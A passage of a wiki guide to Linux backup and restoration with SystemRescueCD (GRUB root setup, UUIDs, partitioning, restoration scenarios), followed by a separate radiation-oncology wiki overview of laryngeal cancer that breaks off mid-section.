&lt;pre&gt;cfdisk&lt;/pre&gt;

Highlight the desired boot partition using the up/down arrow keys.  Next, make sure &quot;[Bootable]&quot; is highlighted at the bottom of the screen.  If it is not, press Tab repeatedly until &quot;[Bootable]&quot; is highlighted.  Press Enter.  &quot;Boot&quot; should appear next to the partition name in the list above.  Now press Tab repeatedly until &quot;[Write]&quot; is highlighted, and press Enter.

&lt;div style=&quot;border: solid 1px #ff0000; background: #ffa000; padding: 0.5em; color: #000000;&quot;&gt;The partition table has been modified, so be sure to make a new backup of the MBR.&lt;/div&gt;

===How To Set Grub's Root Partition===

If you have GRUB installed in the MBR, then it will use files on its 'root' to determine what partitions are bootable and how (the GRUB menu).  If you relocate GRUB's root to a different partition, or move the disk location of its files (as FSArchiver will when restoring), you need to tell GRUB where to find these files (called stage files).  

If GRUB is not already installed to the MBR, this method will also install GRUB's boot code.

Because there are now two versions of GRUB in common use (v1 and v2) which work quite differently, you must first determine which version you are using.  From your linux OS with GRUB installed, run:

&lt;pre&gt;grub-install -v&lt;/pre&gt;

If the version is reported as something similar to &quot;(GNU GRUB 1.97~beta4)&quot;, this means you are running GRUB v2.  If the report is &quot;(GNU GRUB 0.97)&quot;, you are using GRUB v1.

Use the method below appropriate for your version of GRUB.

====GRUB v1====

This describes how to set GRUB v1's root partition and install its boot code to the MBR.

From a Linux console (SystemRescueCd or an installed system), enter:

&lt;pre&gt;# To set GRUB's root partition and reinstall GRUB in the MBR:
# start GRUB
sudo grub
# Show partitions containing GRUB's stage 1
grub&gt; find /boot/grub/stage1
# Select a partition from the list and set it as root  (sda2 in this example)
grub&gt; root (hd0,1)
# Install GRUB into the MBR
grub&gt; setup (hd0)
# exit GRUB
grub&gt; quit&lt;/pre&gt;

Note that GRUB v1 numbers hard drives and partitions starting from 0, not 1.  So (hd0,4) is equivalent to /dev/sda5.

Note that the root partition must contain GRUB's stage files (usually in /boot/grub/).  If it does not, you need to install the GRUB program (which is beyond the scope of this guide).  Most Linux distributions install GRUB during installation.

&lt;div style=&quot;border: solid 1px #ff0000; background: #ffa000; padding: 0.5em; color: #000000;&quot;&gt;The MBR has been modified, so be sure to make a new backup of the MBR.&lt;/div&gt;

====GRUB v2====

This section briefly describes how to set GRUB v2's root partition, install its boot code to the MBR, and reinstall the GRUB2 stage files (/boot/grub/).

First, from SystemRescueCD or your installed linux system, determine and mount the partition which contains GRUB's files (/boot/grub/).  From your installed system, this should already be mounted on &quot;/&quot; or on your boot partition.  If using SystemRescueCD, mount the partition manually.  For example, if your GRUB root is on sda1, then from SystemRescueCD:
&lt;pre&gt;mkdir /mnt/grubroot
mount /dev/sda1 /mnt/grubroot&lt;/pre&gt;

Once you have GRUB's root mounted, reinstall GRUB.  With SystemRescueCD:
&lt;pre&gt;grub2-install --root-directory=/mnt/grubroot /dev/sda&lt;/pre&gt;

Or if using your installed linux system:
&lt;pre&gt;sudo grub-install --root-directory=/ /dev/sda&lt;/pre&gt;

If using your installed linux system, you may also want to update the GRUB menu:
&lt;pre&gt;sudo update-grub&lt;/pre&gt;

Note: GRUB will install its files to the boot folder beneath the root you specify (eg /mnt/grubroot/boot/grub/ or /boot/grub/)  Be sure NOT to include a partition number in the grub-install command, just &quot;/dev/sda&quot;.

Note: SystemRescueCD contains both GRUB v1 and v2.  &quot;grub-install&quot; runs GRUB v1, while &quot;grub2-install&quot; runs v2.  On a linux system with just one version of GRUB installed, &quot;grub-install&quot; is the command to use.  Use &quot;grub-install -v&quot; to see the version (0.9x is v1, 1.9x and later is v2).

For more thorough information on using GRUB v2, please consult [http://www.gnu.org/software/grub/grub.html GNU GRUB], the [https://help.ubuntu.com/community/Grub2 Ubuntu GRUB2 Guide], or the many other guides available for GRUB2.

&lt;div style=&quot;border: solid 1px #ff0000; background: #ffa000; padding: 0.5em; color: #000000;&quot;&gt;The MBR has been modified, so be sure to make a new backup of the MBR.&lt;/div&gt;

===Using UUIDs===

Some Linux systems, such as Ubuntu, use UUIDs to identify partitions in GRUB's configuration files and in /etc/fstab.  A UUID is a randomly generated identification number (for example ddec031f-558c-378f-b26f-158f5742c397) which is stored in the filesystem of the partition when it is formatted.  This means that reformatting a partition will change the partition's UUID.  It also means that restoring a partition from backup will restore the UUID of the backed up filesystem.

If the UUIDs of partitions change, and GRUB and fstab are not updated, either the system will not boot, it will boot the wrong partition, or it may complain about missing filesystems.

One particularly troublesome condition you want to avoid is two partitions with the same UUID.  This generally results from restoring a partition from a backup made on another partition.  If two partitions have the same UUID, and GRUB or fstab use UUIDs to boot, it can create very confusing boot behavior.  Be sure to generate a new UUID when you restore a partition using a backup containing a duplicate UUID.

In some cases it may be easier to change the UUID references in GRUB and fstab to device designations.

For example, this line in GRUB v1's /boot/grub/menu.lst:

&lt;pre&gt;kernel  /boot/vmlinuz-2.6.20-16-generic  root=UUID=ff0531cb-a7c6-4973-a106-02f62f432fff ro splash&lt;/pre&gt;

might become

&lt;pre&gt;kernel  /boot/vmlinuz-2.6.20-16-generic root=/dev/sda2 ro splash&lt;/pre&gt;

And this line in /etc/fstab:

&lt;pre&gt;UUID=d08bed28-71d2-45e8-9a20-07e593a7c828  / reiserfs  defaults  0 1&lt;/pre&gt;

might become

&lt;pre&gt;/dev/sda2  /  reiserfs  defaults  0 1&lt;/pre&gt;

If you do wish to continue using UUIDs, you may need to know how to look up a UUID and how to change a UUID.  The following examples work on Ubuntu - your distribution may be slightly different.

&lt;pre&gt;# To look up the current UUID of /dev/sda2:
sudo blkid
# OR
sudo vol_id -u /dev/sda2

# To install a new random UUID in an ext2/ext3 filesystem:
# Note: device sda2 should not be mounted
sudo tune2fs -U random /dev/sda2

# To install a new random UUID in a reiser filesystem:
# Note: device sda2 should not be mounted
sudo reiserfstune --uuid random /dev/sda2

# Note: On some systems the reiserfstune command is tunefs.reiserfs

# To generate a random UUID for general purposes:
uuidgen -r&lt;/pre&gt;

==System Partitioning Recommendations==

By partitioning your system well and setting it up carefully, you'll make maintenance much easier.  This is not a guide on how to setup a multi-boot system, but some discussion of partition usage applies, and will be referenced in the following section on Restoration Scenarios.  If you are not starting with a clean hard drive, you may be able to change the size of existing partitions and create new partitions without losing the data on your drive.  One such method is the Gparted program distributed on many live CDs, including SystemRescueCD (you must startx to see the Gparted icon).  For the purposes of this discussion, I will assume you are setting up a fresh, multi-OS system from scratch.  If this is the case, you can run the cfdisk program on SystemRescueCD to destructively (re)partition your drive.  All data on the drive will be lost.

A suggested partition table:

&lt;pre&gt;device  size    mount       use
------  ----    -----       ---
MBR     512b                GRUB boot code installed
sda1    2G      swap        Linux swap
sda2    7G      /           Linux system  [GRUB root partition]
sda3    20G     /mnt/win    Windows OS (ntfs or fat32) [VBR contains Windows boot code]
sda4    -                   Extended Partition (contains extended partition table)
sda5    20G     /mnt/sda5   test system
sda6    20G     /mnt/sda6   backup partition  [bootable SystemRescueCD]
sda7    xxG     /user       user data (reiser, ext3/4, ntfs, or vfat)&lt;/pre&gt;

If you are installing Windows, it is best to partition your drive (using cfdisk on SystemRescueCD or another method), and then install Windows to its correct partition.  Once Windows installation is complete, then install the Linux OS.  Most Linux OSes will install GRUB to the MBR, so your system will become multi-boot.

Note: The reason Windows is installed first is that it overwrites the MBR, making itself the only bootable OS on the system.  If you install it after Linux, this will remove GRUB from the MBR's boot code, and you will not be able to boot Linux without restoring the MBR boot code or reinstalling GRUB to the MBR.

If you have multiple Linux systems on your computer, they can share a single swap partition.  The data in the swap is only valid while the OS is running (or hibernating).  Generally, you need only one swap partition.

The size of the partitions above are approximate and will vary depending on what OS you're installing to them and how much software you're installing.  Typically, Windows XP uses approximately 5 GB without software, and Vista takes 12 GB.  A typical linux install ''with'' software may use 2-5 GB.

sda5 in the above example is an extra system partition where you can test new versions of an OS, or new OSes, without affecting your primary OSes.  If you like the new system, you can then make that your primary OS (see [[#Scenario #4: A New Version Of Linux On Your Test Partition|Restoration Scenario #4]]).

sda6 is a storage area for backup partition images created by Partimage.  It is safer to keep these on their own unmounted partition.  You can also easily make this partition a bootable SystemRescueCD, so that you don't need to insert the SystemRescueCD to perform maintenance.  Review [[#How To Install SystemRescueCD On A Hard Drive|How To Install SystemRescueCD On A Hard Drive]].

sda7 uses the remaining space on the drive, and contains the majority of user data, such as documents, movies, music, and other large data.  This amount of data is difficult to back up due to its size, which is why it is convenient to have it on a separate partition.  This partition may also be used to store Partimage backup files.  If you want this partition to be accessible from both Windows and Linux, it is easiest to format it as FAT32 or NTFS (although there are also drivers available which allow Windows to access Linux filesystems).

Note that the /home folder has been left on the / (Linux root) partition.  This allows you to maintain different /home folders for different OS installations.  Generally, having two OSes share a single /home folder can create problems.  It is also acceptable to create a separate partition for /home.  In this case, the /home partition or files are backed up and restored separately from the system partition.

Because we have GRUB installed to the MBR, it doesn't matter which of the partitions is marked 'bootable'.  GRUB's /boot/grub/ files on sda2 will determine the default boot OS and options.


==Restoration Scenarios==

Working by example, this section will explore various restoration scenarios.  It is assumed that you have an up-to-date backup of your boot drive's MBR, and a reasonably up-to-date backup image file of each partition containing an OS on your system.  You may also have a separate, more recent backup of your /home folder available (for Linux systems), and a backup of your entire partition table made with sfdisk.

Instructions for all of the activities described in this section, such as restoring MBR boot code, are detailed in the prior sections of this guide.

===Scenario #1: System Modification Gone Bad===

This is a common use for restoration.  Perhaps you tried an OS upgrade which did not turn out well.  Perhaps you installed a driver which has created problems, and you don't know how to cleanly remove it.  Perhaps you simply want to roll the system back to its 'fresh install' state when it was running better.  Or perhaps you want to thoroughly clean and reconfigure your system for security purposes.

In this case, all that is required is restoring the partition containing the OS using the backup file.  It is NOT necessary to restore the MBR.

The only other detail to consider is whether to restore your /home folder from a more recent backup, if available.  If you believe your system problems may be related to user settings in the /home folder, you may wish to use the older version of the /home folder.  If you want to restore your user's settings, then follow the system partition restoration with additional restoration of your /home folder.

===Scenario #2: Repair Or Reinstall Of Windows On A Multi-Boot System===

The Windows install and repair programs may overwrite the MBR, which means the system will no longer boot with GRUB - it will only boot into Windows.  This is a quick fix.  Restore the boot code portion of the MBR.  Alternatively, you can [[#How To Set Grub's Root Partition|reinstall GRUB to the MBR]].

===Scenario #3: A New Version Of Windows On Your Test Partition===

In the [[#System Partitioning Recommendations|example partitioning recommendations]], sda5 is a partition reserved for testing new versions of an OS.  You may want to install a new version of Windows to this partition, while leaving your old version intact on another partition.

The Windows install program will overwrite the MBR.  At best, it will see several versions of Windows and will allow you to boot into them, but not into Linux.  Or, you may only be able to boot into your new install of Windows.

The first step in correcting this is to restore the MBR boot code, which will put GRUB back in the MBR.  Alternatively, you can [[#How To Set Grub's Root Partition|reinstall GRUB to the MBR]].

The system will now boot into the GRUB boot manager, but it will not be aware of the new Windows system.  If using GRUB v1, you need to edit /boot/grub/menu.lst on the GRUB root partition (generally your Linux system partition), and add an entry for the Windows partition in the appropriate place.  This will generally look something like this:

&lt;pre&gt;# /dev/sda5
title		Microsoft Windows
root		(hd0,4)
savedefault
makeactive
chainloader	+1&lt;/pre&gt;

Note that GRUB v1 numbers hard drives and partitions starting from 0, not 1.  So (hd0,4) is equivalent to /dev/sda5.

If you are using GRUB v2, simply update the menu with this command issued on your installed linux system, which should automatically find and add your Windows OS:
&lt;pre&gt;sudo update-grub&lt;/pre&gt;

You can examine /boot/grub/grub.cfg to see if the OS was added.  Note that GRUB v2 numbers hard drives starting from 0, and partitions starting from 1.  So (hd0,5) is equivalent to /dev/sda5.

Depending on what version of Windows you installed, the behavior may vary.  In some cases, each Windows partition can be booted independently by separate GRUB menu entries.  In other cases, one Windows partition will boot to a Windows boot manager, which will present another boot menu, this time only for the different versions of Windows you have installed.  Note that the partition you installed the new version of Windows to may not even be bootable - it may use another partition as its boot partition.  For additional information, consult [[#Backing Up And Restoring The Boot Process|Backing Up And Restoring The Boot Process]] above.

Note that when a partition is formatted during reinstallation, its UUID may change.  This may cause your Linux system to complain during boot when it looks for the old UUID of the Windows partition.  If so, you need to edit your /etc/fstab file to either reflect the new UUID, or change to a /dev/xxx reference.  See [[#Using UUIDs|Using UUIDs]] for instructions.

===Scenario #4: A New Version Of Linux On Your Test Partition===

If you want to test a new version of Linux without affecting your current working system, you can install it to the test partition (sda5 in the [[#System Partitioning Recommendations|example partitioning]]).  It can use the same swap partition as your original Linux system.

The good news is that most Linux installations will reinstall GRUB, and will recognize other OSes on the system.  When you reboot, you should have the option to boot into all your OSes.

However, there is one thing to be aware of - the reinstallation of GRUB probably changed GRUB's root partition to the new system (sda5).  This means that GRUB's configuration files (in /boot/grub/) on the new system partition is now controlling the boot options.  This may be fine to use.  However, you should know that if you erase the test partition, GRUB will not be able to find its /boot/grub/ files, and you will not be able to boot.

If you prefer to have your original Linux partition remain in control of GRUB, you can restore the MBR boot code from backup, or you can [[#How To Set Grub's Root Partition|change GRUB's root partition]].  If using GRUB v1, then add an entry to your menu.lst file (on the original Linux system - sda2 in this example) to boot the new Linux system.  Something like:

&lt;pre&gt;# Linux installation on /dev/sda5
title		Ubuntu (sda5)
root		(hd0,4)
kernel		/vmlinuz root=/dev/sda5 ro
initrd		/initrd.img
savedefault
boot&lt;/pre&gt;

Note that GRUB v1 numbers hard drives and partitions starting from 0, not 1.  So (hd0,4) is equivalent to /dev/sda5.

If you are using GRUB v2, simply update the menu with this command issued on your installed linux system, which should automatically find and add your installed OSes:
&lt;pre&gt;sudo update-grub&lt;/pre&gt;

Also note that when a partition is formatted during installation, its UUID may change.  This may cause your old Linux system to complain during boot when it looks for the old UUID of the test partition.  If so, you need to edit your /etc/fstab file (on the old system) to either reflect the new UUID, or change to a /dev/xxx reference.  See [[#Using UUIDs|Using UUIDs]] for instructions.

===Scenario #5: Alternating Versions Of Linux===

Major upgrades of Linux come out every few months.  One method for using these upgrades is to install them to alternating partitions.  For example, you might install Linux version 6 to sda2.  Then install version 7 to sda5, leaving version 6 on sda2 intact.  Then, you can install version 8 on sda2, leaving version 7 on sda5 intact, etc.  This allows you to try out the new system install or upgrade while still having access to 'old reliable'.  As noted earlier, both installations can share a common swap partition.

If you prefer to avoid upgrades and simply do a fresh install when a new version comes out, this is extremely easy.  You simply install the new version to the free partition.  This will also install GRUB, and will make the new Linux partition the GRUB root partition.  Your computer will boot into the new installation by default, but this can easily be modified by editing GRUB's configuration (on the new partition).  You can work on setting up the new installation at your leisure while still having access to your old system.  (If you have servers running, you may want to assign the new installation a different IP address while you are working on it to distinguish it from the old system.)

If you prefer to work with upgrades, there are a few extra steps.  First, make a copy of your old system partition onto the new partition.  This is as simple as making a backup file of the partition and restoring it to the new partition.  (Be sure to [[#Using UUIDs|generate a new UUID]] for the copy partition, if applicable.)  Next, make the new partition bootable by adding an entry to GRUB's menu (on the old partition).  Finally, update /etc/fstab on the new partition so that the system knows where to find its root filesystem and other mountable partitions.  You can now boot into two mirror copies of your Linux system.

Next, boot into the copy system and perform the upgrade, testing it as you like.  If it is functional, you can make it your primary system simply by editing GRUB's configuration (on the old partition) to make it the default boot partition.  The old partition may be left as a backup.

What you do with the /home folder during these alternating installs is a matter of preference.  My suggestion is to copy the /home folder to the new partition, thereby creating two parallel /home folders.  Or, you can have both installations share a common /home folder, but this may cause problems.

Once you have the two parallel systems installed, you can mount their filesystems from within each system to copy relevant files from one system to the other.  You can also compare two versions of system files, etc.  To offer maximum protection to your old installation, only mount its filesystems as readonly in the new system.

The bonus of alternating Linux installs is that you also always have a reliable backup system installed on your computer.

===Scenario #6: Virus Infection===

A virus may infect the system files, the /home folder (Linux), and the MBR.  Unless you know where the virus is located, it is wise to restore the system partition(s), the MBR boot code, and optionally restore the /home folder using a backup which you know was made prior to infection.  It is unusual for a virus to hop from one OS partition to another, but not impossible.  When in doubt, restore them all.

You should also scan your user data partition for viruses.

===Scenario #7: New Hard Drive===

The first thing to address is partitioning.  You should create the partition table from scratch using a tool like cfdisk (available on SystemRescueCD).  Or, if the new drive is the identical size of the old drive, you can recreate the partition table from backup using sfdisk.  If using the Partimage method for your backups, be sure to make your system partitions at least as large as the old partitions, or you will not be able to restore them (FSArchiver does not have this limitation, but the partition still needs to be large enough to hold all the data in the backup).  Also, it is most convenient to use the same partition numbers for the installed systems so that GRUB can find them.  Otherwise, you may need to update GRUB's configuration, change the fstab file(s), and edit Windows boot manager files to reflect the new partition numbers.

Now restore the system partitions, and if desired, /home folder.  If /home is located on a separate partition, you must restore this as well.  If your old hard drive failed, then you will need your backups which you saved to DVD or another drive (you did archive your backups to another drive, right??)

Once your partitions are restored, restore the MBR boot code (boot code only! NOT the full MBR which contains the old partition table).  Alternatively, you can [[#How To Set Grub's Root Partition|install GRUB to the MBR]].  (Note: If you used FSArchiver to restore the partition containing GRUB's root (/boot/grub/), you must [[#How To Set Grub's Root Partition|install GRUB to the MBR]] due to the movement of the files on the disk.)

If you have changed the partition numbers of the installed systems, you may need to update GRUB's configuration, change the fstab file(s), and edit Windows boot manager files to reflect the new partition numbers.  If you have changed the partition numbers of Windows, be sure to consult [[#Backing Up And Restoring The Boot Process|Backing Up And Restoring The Boot Process]] which details other Windows boot issues.

===Scenario #8: Moving A System To Another Partition===

You may want to move an installed OS to another partition, a larger partition, or onto a partition on a different drive.  (Note: Moving Windows to a second drive or to an extended partition can be problematic for booting - keep Windows on a primary partition of the first hard drive.)

The first step is to prepare your new partition, and ensure that it is at least as large as the old partition.  (If it is smaller, you will not be able to restore using Partimage.)  Then, restore to the new partition using the backup file.

Next, you will need to address the boot process.

If the new partition is on a primary partition of the same drive, and you have a generic MBR which boots the bootable partition, then [[#How To Set The Boot Partition|change which partition is marked 'bootable']].

If you have GRUB in the MBR, and you moved GRUB's root (/boot/grub/), you will need to [[#How To Set Grub's Root Partition|change GRUB's root partition]].

If the new partition is on a different drive and contains GRUB's root, you may need to make the new drive bootable by restoring the boot code of the MBR from the old drive, or by [[#How To Set Grub's Root Partition|changing GRUB's root partition]].  You may also need to change the BIOS boot device priority or drive numbering, or the BIOS will continue to boot the old drive's MBR.  In short, when you're done, the MBR of the boot drive must contain boot code (GRUB, etc), and GRUB must be set to the correct root partition to find its /boot/grub/ files.

If using GRUB, you will also need to update GRUB's configuration to reflect the new location of the moved OS (with GRUB v1, edit the entry in the /boot/grub/menu.lst file; with GRUB v2, run update-grub).  To edit files, you can use the nano editor on SystemRescueCD (once you have mounted the file's location).

As your new partitions may have different UUIDs or device designations, or two partitions may now have identical UUIDs, you may need to change /etc/fstab entries to reflect the new locations in order for your Linux OS to boot.  You can change outdated UUIDs to /dev/xxx if necessary.  Most importantly, fstab tells Linux where its root filesystem (/) is located.   See [[#Using UUIDs|Using UUIDs]] for instructions.

If you have changed the partition numbers of Windows, you may need to edit Windows boot manager files to reflect the new partition numbers.  Also, be sure to consult [[#Backing Up And Restoring The Boot Process|Backing Up And Restoring The Boot Process]] which details other Windows boot issues.


==How To Burn A Bootable DVD Containing Backup Files And Tools==

It is possible and very simple to burn a DVD which includes the bootable SystemRescueCD system on it, as well as one or more backup files for your partitions.  You can do this from any Linux installation which includes the growisofs program (which is common), including SystemRescueCD.

Assuming the SystemRescueCD iso file is located in /user/, and your backup files are located in the folder /user/backups/

&lt;pre&gt;# Where /dev/hdc is your DVD-burner - change if necessary
growisofs -Z /dev/hdc=/user/systemrescuecd-x86-1.3.5.iso
growisofs -M /dev/hdc -J -R /user/backups/&lt;/pre&gt;

Obviously there must be ample space on the DVD for the iso contents as well as the backup files in /user/backups/ for this to be successful.

==How To Install SystemRescueCD On A Hard Drive==

It is also very simple to make a hard drive partition a bootable SystemRescueCD system.  This alleviates the need to put the CD in the drive in order to perform system maintenance.  In the example partitioning, the backup partition would be an ideal candidate.

The only requirements are that the partition has 200MB free, and that it use one of the standard filesystems supported by SystemRescueCD.  You can even use a partition which has another bootable system on it.  (The partition can be booted two different ways depending on the GRUB menu entry selected.)

The procedure is as follows:

&lt;pre&gt;# Mount the iso file
sudo mkdir /mnt/iso
sudo mount -o loop /user/systemrescuecd-x86-1.3.5.iso /mnt/iso&lt;/pre&gt;
(Alternatively, you can simply insert the SystemRescueCD in the CDROM drive so that the files can be read directly from it.)

Next, create a folder on the destination partition, in this example /dev/sda6, and copy the relevant files to this folder (/sysrcd).  Note that some of the files are located in the isolinux sub-folder, but they should all be copied without directory structure to /sysrcd.

&lt;pre&gt;sudo mkdir /mnt/sda6
sudo mount /dev/sda6 /mnt/sda6
sudo mkdir /mnt/sda6/sysrcd
sudo cp /mnt/iso/sysrcd.dat /mnt/iso/sysrcd.md5 /mnt/iso/isolinux/initram.igz \
/mnt/iso/isolinux/rescuecd /mnt/iso/isolinux/rescue64 \
/mnt/iso/isolinux/altker32 /mnt/iso/isolinux/altker64 \
/mnt/sda6/sysrcd
umount /mnt/iso&lt;/pre&gt;

The hard drive partition /dev/sda6 is now bootable.  We just need to add an entry to GRUB's menu.

'''If using GRUB v1''', edit /boot/grub/menu.lst so it appears as a boot option...

&lt;pre&gt;title       SystemRescueCD-1.3.5 (sda6)
root        (hd0,5)
kernel      /sysrcd/rescuecd subdir=sysrcd setkmap=us
initrd      /sysrcd/initram.igz
savedefault
boot&lt;/pre&gt;

'''If using GRUB v2''', create a file named &quot;/etc/grub.d/51_my-sysrcd&quot; (or wherever your grub.d folder is located), and paste the following text into the file, modifying the &quot;set root&quot; line as needed:
&lt;pre&gt;#!/bin/sh

echo &quot;Adding SystemRescueCD&quot; &gt;&amp;2
cat &lt;&lt; EOF
menuentry &quot;SystemRescueCD-1.3.5 (sda6)&quot; {
set root=(hd0,6)
linux /sysrcd/rescuecd subdir=sysrcd setkmap=us
initrd /sysrcd/initram.igz
}
EOF&lt;/pre&gt;

Save that file, then run:
&lt;pre&gt;sudo chmod +x /etc/grub.d/51_my-sysrcd
sudo update-grub&lt;/pre&gt;

For up-to-date instructions on the above procedure, as well as instructions for installing SystemRescueCD to a bootable USB stick, please consult:
* http://www.sysresccd.org/Sysresccd-manual-en_Easy_install_SystemRescueCd_on_harddisk
* http://www.sysresccd.org/Howto_install-usb-stick
* http://www.sysresccd.org/Sysresccd-manual-en_How_to_install_SystemRescueCd_on_an_USB-stick
* http://www.sysresccd.org/forums/viewtopic.php?t=1828

==Alternatives To Using SystemRescueCD==

In some situations, it may be more convenient not to use SystemRescueCD, although I do recommend keeping a CD copy on hand.

For example, if you have two Linux systems installed on your computer, you can install the Partimage or FSArchiver programs and use them from your installed systems to back up other, unmounted partitions.  This way you will not have to reboot to make some backups.  One limitation is that you cannot use Partimage to back up a mounted partition, so you cannot back up the booted system using the booted system.

Also, other live Linux CDs often include the Partimage program.  If they run successfully on your hardware, you can use these as a substitute for SystemRescueCD.  The advantage to SystemRescueCD is that it boots very quickly.  Some other live CDs are not so reliable or quick to use.

Other free tools include:

* [http://www.clonezilla.org/ Clonezilla]: based on DRBL, Partition Image, ntfsclone, and udpcast, it allows you to create backups and recover

* [http://www.pcinspector.de/Default.htm?language=1 PC Inspector Clonemaxx]: A no-frills simple method described in [http://www.wikihow.com/Back-up-Any-Hard-Drive How to Back Up Any Hard Drive]

==Further Reading==

* Discussion: [http://ubuntuforums.org/showthread.php?t=809067 Ubuntu Forum]

* Discussion: [http://kubuntuforums.net/forums/index.php?topic=3094854.0 Kubuntu Forum]

* [[Minimizing Hard Disk Drive Failure and Data Loss|Minimizing Hard Disk Drive Failure and Data Loss]]

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&lt;big&gt;'''Laryngeal Cancer Overview'''&lt;/big&gt;


==Epidemiology==
*~10K cases/year in the U.S.
*~2% of all cancers; most common upper aerodigestive tract cancer
*Risk factors: tobacco, extensive use of voice
*40% locally advanced


==Pathology==
*95% squamous cell CA; usually well-moderately well differentiated
*1-2% verrucous CA; bulky, exophytic, heavily keratinized

==Anatomy==
*For clinical staging, larynx consists of three regions: supraglottis, glottis, and subglottis
*The external structure is formed by hyoid bone, thyroid cartilage and cricoid cartilage
*Internal structure is formed by the epiglottis and the arytenoid, corniculate, and cuneiform cartilages
**The epiglottis is joined superiorly to the hyoid bone by the hyoepiglottic ligament and inferiorly to the thyroid cartilage by the thyroepiglottic ligament (just below the thyroid notch and above the anterior commissure)
**The vocal ligaments and muscles attach to the vocal process of the arytenoid posteriorly and the thyroid cartilage anteriorly. Beneath the epithelium of the free edge of the vocal cord is the lamina propria
**The intrinsic muscles of the larynx control the movement of the cords; the extrinsic muscles control primarily swallowing. The intrinsic muscles are innervated by the recurrent laryngeal nerve, except for cricothyroid muscle, which is innervated by the superior laryngeal nerve
*Supraglottis:
**Sites: Suprahyoid epiglottis (suprahyoid and infrahyoid), aryepiglottic folds, arytenoids, false cords
**Inferior border: horizontal plane passing through lateral margin of the ventricle
**Lymphatics: Rich network, pass through thyrohyoid membrane into subdigastric, midjugular, and lower jugular nodes
*Glottis
**Sites: true vocal cords, anterior and posterior commissures 
**Vocal cords are 3-5 mm thick
**Inferior border: 5 mm below free margin of vocal cords
**Horizontal plane 1 cm in thickness
**Lymphatics: True vocal cords don't have any; lymphatic spread via tumor extension to supraglottis or subglottis
*Subglottis
**Anatomy: 5mm below the free margin of true vocal cords to inferior margin of cricoid cartilage
*Lymphatics: 
**Larynx is formed from two embryologically defined regions, separate at laryngeal ventricle, with different lymphatic patterns
**Supraglottis forms from primitive buccopharyngeal anlage and as such has rich lymphatics that drain to upper internal jugular LNs. Supraglottic tumors have therefore much higher incidence of nodal mets at presentation
**Glottis and subglottis form from tracheobronchial buds and as such have sparse lymphatics that drain to internal jugular and paratracheal LNs. Channels unite to form one anterior and two posterolateral pedicles. Anterior drains through cricothyroid membrane into mid- and lower jugular nodes, or via prelaryngeal node into pretracheal and supraclavicular LNS. Posterior drain through cricotracheal membrane into paratracheal nodes

==Treatment Overview==
*Supraglottis
**LN+ 55% (commonly subdigastric and midjugular), 16% bilateral
**[[Radiation_Oncology/Head_%26_Neck/Larynx/Supraglottis|Supraglottis Page]]

*Glottis
**[[Radiation_Oncology/Head_%26_Neck/Larynx/Glottis|Glottis Page]]
**Most common laryngeal cancer in USA. Majority occur in anterior 2/3 of vocal cords
**Symptoms - persistent hoarseness, later dyspnea, chronic cough, hemoptysis, stridor
**LN+  &lt;2% in T1, 5% in T2, 15-20% in T3, 20-30% in T4
**Treatment:
***No randomized trials comparing surgery to RT to laser resection
***For T1-T2: local control, laryngeal preservation, and survival comparable after laser resection, RT, and partial laryngectomy. Voice quality comparable with laser resection and RT in smaller lesions, worse in larger lesions after partial laryngectomy. Therefore recommendation for T1 and T2 with normal cord mobility treated with RT or laser resection for superior voice preservation. Bulky T2 and impaired cord mobility treated with RT or partial laryngectomy
***Neck dissection in T1-T2 is controversial
**RT fields: 
***T1 and early T2 - two small opposing lateral fields centering on vocal cords, parallel to trachea. From upper thyroid notch to lower border of the cricoid (at C6). Anterior border 1 cm anterior to the skin surface at the level of vocal cords. Posterior border  to include anterior portion of posterior pharyngeal wall. 5 x 5 cm2 field usually good.

*Subglottis
**[[Radiation_Oncology/Head_%26_Neck/Larynx/Subglottis|Subglottis Page]]
**Primary lesions are rare (&lt;3%); usually extension from glottis. 50-70% are SCC
**Symptoms - usually asymptomatic, but can present with horseness, dyspnea, stridor
**Disease often advanced at presentation; thorcacic cavity involved in T3-T4(~50%)
**LN+ in 20-50%
**Treatment - no consensus due to small numbers, but Toronto reports good experience with primary RT
***Stage I-II: RT (include lower neck and mediastinum)
***Stage III-IV: surgery (include larynx, thyroid, parastomal LNs), post-op RT if LN+ (include lower neck and mediastinum)
**RT fields - lateral opposed fields inferiorly 2cm below primary tumor, superiorly encompassing upper jugular nodes. Also an anterior low neck and upper mediastinum T-field

==Surgery, or post-op RT==
*Overall survival for advanced (Stage III-IV) cancer treated with laryngectomy or laryngectomy + post-op RT was 0-50% at 5-years. 
*Results in functional morbidity: loss of voice, swallowing, permanent tracheostomy.
*Partial laryngectomy that spares the voice for selected T3N0 pts
*Indications for post-op RT:
**NCCN (2010)
***pT4
***N2-N3
***PNI+
***LVI+
**Perez (5th ed, p982)
***Close or positive margins
***Significant subglottic extension (1 cm or more)
***Cartilage invasion
***Perineural invasion 
***Endothelial-lined space invasion
***Extension of the primary tumor into the soft tissues of the neck
***Multiple positive neck nodes
***Extracapsular extension
***Control of subclinical disease in the opposite neck

==Larynx preservation==
*Historically, total laryngectomy was the standard of care for advanced cancers of the larynx and hypopharynx
*A landmark VA Larynx Trial showed that induction chemotherapy + RT had equivalent survival rate as total laryngectomy + postop RT. This concept was confirmed in hypopharynx by EORTC 24891, though a small GETTEC trial that closed early showed survival benefit for laryngectomy + postop RT. Larynx preservation rate was superior with RTCT (Veterans 91)
*Concurrent chemo-RT was shown to be superior to induction chemotherapy + RT or RT alone in RTOG 91-11
*T4 larynx management continues to be based on VA larynx trial. Odds ratio of responding to induction chemotherapy was 5.6 for T1-3 vs T4 (p=0.01), and in the subset of patients who then underwent RT, salvage laryngectomy was required in 56% vs. in 28% of T3 tumors. However, the absolute number of these patients was very small. In clinical practice, patients with T4 larynx are not typically considered candidates for larynx preservation


===Prognostic factors===
'''Size:'''
*'''University of Florida''', 1997 (1966-94) - {{PMID|9196155}} &amp;mdash; &quot;Definitive radiotherapy for T3 squamous cell carcinoma of the glottic larynx.&quot; Mendenhall WM et al. J Clin Oncol. 1997 Jun;15(6):2394-402. 
**Volume measured by CT scan correlated with LC. 87% LC for &lt; 3.5 cm3 vs 29% for &gt; 3.5 cm3.

===Radiation alone===
*In selected patients (T3N0) results in 40-70% larynx preservation rate and survival similar to that with surgery
*In advanced cases, radiation alone (with surgical salvage) results in worse survival

===Laryngectomy + postop RT vs. Chemo-RT===
*'''Singapore''' (1996-2000) -- Surgery + postop RT vs. concurrent chemo-RT
